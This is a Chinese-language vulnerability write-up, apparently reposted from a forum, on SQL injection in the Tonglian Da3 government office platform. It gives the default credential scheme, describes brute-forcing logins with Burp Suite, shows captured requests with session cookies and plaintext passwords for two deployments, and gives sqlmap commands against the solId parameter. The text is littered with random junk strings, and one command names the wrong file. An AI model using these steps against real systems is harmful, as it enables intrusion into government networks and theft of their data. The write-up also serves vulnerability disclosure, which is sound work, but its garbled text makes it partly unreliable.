同联Da3协同办公平台前台通用sql injection漏洞

admin

! @' z/ z1 F8 h, v: ^% w0 B2 e! E

3 o& r, J" U- K 平台简介： 3 m# o) X! S* l' N

  2 Q T5 z+ d" G0 [ M/ s: X

# b( c- E4 T) s+ c) \; U/ g4 B! x7 i

& z" @5 [1 o0 l7 p5 c2 x/ Q 北京同联信息技术有限公司（以下简称同联）由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务，以加强各级政府的精细化、智能化管理，形成高效、敏捷、便民的新型政府。”为使命，致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位，分别提供以“移动政务办公”为主的Da3系列管理软件；针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
* k4 F* _, `# r, a* h同联本着“协作、专业、创新”的工作方针，为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献！

8 |/ e" E* |) [2 q* j

. I9 _8 \) I6 k* v  

. }9 K) I. y" u% S1 |! i% X9 i 由于此程序为新开发的程序，故能找到的案例并不多，下面附案例地址：

# Y# f7 q# \8 u0 z ~) O

* P; d# A/ l5 h1 B  

: U. L5 Z4 t* ^; F0 l4 O) f

% U) z+ |: P7 `# A9 P( D5 X http://1.1.1.1:7197/cap-aco/#（案例2-） : `1 P' t$ w4 t/ o) D! d

" G4 @9 k" I7 M4 G& l7 s% t9 Z, ^ http://www.XXOO.com （案例1-官网网站）

4 D! w; ^; o, Q" `

 

漏洞详情: : U3 X: r* t" C* ^ e

" L* Q) D w9 f+ ~  初步确定平台的默认账号为姓名的首字母小写，初始密码为123，为了能够更好的模拟入侵，使用黑盒测试手段进行测试 $ p: \, Q' r9 l% ^

$ e8 l8 r1 Z$ I

     首先使用burpsuite代理，然后再用黑客字典生成一个全英文小写的3位字典，利用burpsuite进行暴力破解，破解结果如图：

 

( ?$ Z) h" K5 ~" y   4 ~* |1 n* p5 P6 W. L" V2 @% r

status为302即表示破解成功，然后找个破解成功的账号登录系统。经过长时间的手工测试发现在发文管理模块抓包，抓包的数据分别如下：

# h3 l2 _$ l3 q& n/ y 1、案例1-官方网站

. P; {0 f$ W/ O5 j$ D L6 t

GET /bpmRuBizInfoController/findBpmRuBizInfoBySolId?rows=10&page=0&solId=42b0234e-d5dc-402d-9cef-1ce38cbae480&state=&title=1111&sortOrder=DESC&query=bizTitle_%3D%26URGENCY_%3D%26STATE_%3D%26startTime%3D%26endTime%3D&_=1510060789826 HTTP/1.1

Host: www.XXOO.com

/ o3 U- G( `# j% M6 [ Proxy-Connection: Keep-Alive ! i1 l/ C( t9 ~2 K, F, [

Accept: application/json, text/javascript, */*; q=0.01

Accept-Language: zh-CN

, ~! p- H) X- I6 Z' u# [ Content-Type: application/json 7 s; f, e) x* m- H

7 r. P+ b8 o- x( f( x l4 d1 F

, {1 O ~$ }/ j3 @6 v0 a* G User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0; SE 2.X MetaSr 1.0) like Gecko

* h; m' D3 a/ a

X-Requested-With: XMLHttpRequest

0 y9 k2 }( O8 V" B; W

5 Z4 a# [9 M& h) \( n" B: G Referer: http://www.XXOO.com/bizRunContro ... 80?modCode=1008M002

( ^4 e0 ?6 Z7 D( w) u/ |

" b. X2 D' M, {* I Accept-Encoding: gzip, deflate, sdch 8 Z, T3 N A" Z, @' |

: v8 x- Y8 d& F- {" Z0 @

Cookie: username=chm; password=123; rememberme=1; autoSubmit=1; sid=2cf5142f-6c1e-4cbb-89d8-2ebd08438b2e * @. D9 ]: B# X) L: p: @' d

, i% g# k- q' }$ V: T" L# H 将上面post数据包复制到txt文本里保存为tl.txt并将其放到sqlmap根目录下利用sqlmap注入命令为：sqlmap.py -r tl.txt --dbms=mysql --level 5 --risk 3 --tamper=space2hash.py -p solId --is-dba 注入如图: 0 b# [) n l- i

, {% w' t& g$ Y5 Z7 R4 O

 

  0 V; L. |( o* _6 N

! p8 ^! c1 n1 a) X" v8 ~$ F

9 z; c7 |0 n- P6 {3 D+ G  

 

% V2 V, b* V$ T* P/ \  

$ s& ^) |% A8 l3 x, \+ p/ `2 k

* k: z% n" n a! I. g" k" @) b/ h 2、案例2-某天河云平台 9 ~6 g+ s1 K: Q

/ u" D' ~! E1 P# D- I/ _( a

1 B1 p8 T t7 t/ j GET /cap-aco/bpmRuBizInfoController/findBpmRuBizInfoBySolId?rows=10&page=0&solId=af056885-4ae5-4e0b-8a0d-c413a786f2db&state=&title=11111&sortOrder=DESC&query=bizTitle_%3D%26URGENCY_%3D%26STATE_%3D%26startTime%3D%26endTime%3D&_=1510047738662 HTTP/1.1 4 {( [* W+ p( _! A

8 A0 I' N& ]8 }0 C7 O3 [9 l7 A

+ n f7 w* G9 J# ~" L6 e Host: 1.1.1.:7197 3 a& _2 s3 _2 O+ V! I" B

$ m' ]% q1 j1 e Accept: application/json, text/javascript, */*; q=0.01

4 @: A: p+ [! l# y# s% f0 r* o

X-Requested-With: XMLHttpRequest

# b5 p+ d+ w! f/ h

) @9 D1 ]$ W( Z# X& W! |5 [ User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0 , m$ o X; q1 p/ Y( u

& O$ @7 [ m3 v' {% m+ f

Content-Type: application/json , E# Y( n! _; h H/ g' j# }% J

" {8 ~- m2 K9 ^+ R6 m J6 e

2 {- X( G# _5 K6 t( k+ u! M Referer: http://1.1.1.1:7197/cap-aco/bizR ... 86f2db?modCode=1008 ; `4 z+ o+ @; ^! H! c

Accept-Language: zh-CN,zh;q=0.8

Cookie: autoSubmit=1; sid=4e333ec9-d194-456b-bb08-4ff64c6eb1fc; username=lxr; password=123; rememberme=1; autoSubmit=1 7 g9 K- h/ x7 k1 Y4 [

1 d* T+ E. C/ B# o6 W Connection: close

: w5 ]! H3 }& ?+ E @6 N1 D 将上面post数据包复制到txt文本里保存为tl.txt并将其放到sqlmap根目录下利用sqlmap注入命令为：sqlmap.py -r 1.txt --dbms=mysql --level 5 --risk 3 --tamper=space2hash.py -p solId --is-dba 注入如图: 6 W- W3 ]1 I! \9 t- O

/ W. M3 ~# ?9 u1 A' w+ g& U

 

( x& A2 m( d/ R8 g7 H( U

2 m; u- I" ^: g8 u T